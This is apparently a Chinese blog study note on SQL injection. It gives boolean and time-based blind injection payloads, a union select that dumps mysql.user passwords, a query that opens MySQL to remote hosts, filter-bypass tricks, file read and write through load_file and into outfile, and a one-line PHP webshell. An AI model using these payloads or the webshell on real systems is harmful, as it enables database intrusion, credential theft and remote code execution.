banner
NEWS LETTER

网络安全(三)sql注入

Scroll down

bool注入

有的时候页面只会告诉真假,这个时候则可以进行bool类型的注入
如判断数据库长度:

1
select * from news where id=1 and length(database())=1;

这个时候就可以通过页面的显示来判断数据库的长度是否为1,如果是1则会输出真,如果不为1则输出的是错误的。

用=号的运行时间比较长,则可以采用大于小于号来判断:

1
select * from news where id=1 and length(database())>2;

像是在问问题,如下面的例子去判别database的名字:

1
select * from news where id=1 and substr(database(),1,1)='c';

在注入场景中:

盲注

1
2
# ascii:97-122代表a-z
and ascii(substr(database(),1,1))>97

ascii只能获取一位

获取表名:

1
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100

获取列:

1
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = ...limit 0,1),1,1))>100

…代表表的名称

注:右键查看源代码可以查看源代码

时间盲注 延时注入

sleep()函数

1
select 1 and sleep(10)
1
2
if(a,b,c)
#如果a成立则输出b,如果a不成立则输出c

Alt text

1
select if(length(database())>10,sleep(5),3)

正确的时候体现在延时的时间中,此方法的应用场景在于当布尔盲注返回包通过长度或者其他信息区分不开时的应用,通过一个别的信息进行反馈。

注入类型:

  • 报错注入
    • union select 1,2,3(为了区分具体的输出,输出是哪一位)(get型报错)
  • 盲注{bool,time}

权限

本机地址
远程可连接地址
%代表所有的都可以连接

update修改具体字段的值

1
update mysql.user set host='%' where host='localhost'

刷新权限:flush privileges

1
union select 1,password,3 from mysql.user

magic_quotes_gqc

addslashes()函数转义,整形不受影响

拦截:and,php中的语句:

1
2
3
if(strpos($id,"and")!=false){
.....
}
  • 在注入点处可以使用order by来进行判断语句是否闭合,这种情况可以使用大小写的改变来完成逃避;
  • 如果程序中判断=,在sql中可以使用like来进行替代;
  • 如果防止以上的情况,可以采用全转大写或者小写的方式

过滤绕过

如果程序中会识别union然后将union删除,则可以采用:ununionion,删除一个union还能剩一个union

mysql导入导出

读取

  1. 路径一般使用:/ \是转义;
  2. 1
    select load_file('路径')

如何得到文件地址:

  • phpinfo.php可以得到根路径

读取文件所需的条件:

  • 可读权限{mysql用户权限,文件读取权限}
  • 读取的文件路径

读取之后一般采用转换成16进制的方式,比较好看,再找工具进行转换回去

写入

1
select 1 into outfile"路径"

权限标识符:secure-file-priv有三个值:

  • NULL 不能写入
  • “” 可以任意写入
  • 一个路径 只能写到这个路径下面

php函数

  1. 扫描所有的文件:scandir(路径)
  2. 可以直接执行命令
    • shell_exec,exec函数
    • 可以更改其权限:disable_functions=shell_exec,exec
  3. eval()直接执行php代码,直接执行,不用<php??>叫做一句话木马,也叫webshell
    • 一句话木马如: eval(@$_GET['cmd']);
    • 实际上就是里面的php代码任意执行
    • 其中eval就是执行命令的函数,$_GET['cmd']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

蚁剑

文件编辑上传

大马

  • angel.php 发送命令 功能多 由服务器上的文件执行
    防火墙–>服务器上面的文件执行
  • 一句话木马:本地执行
其他文章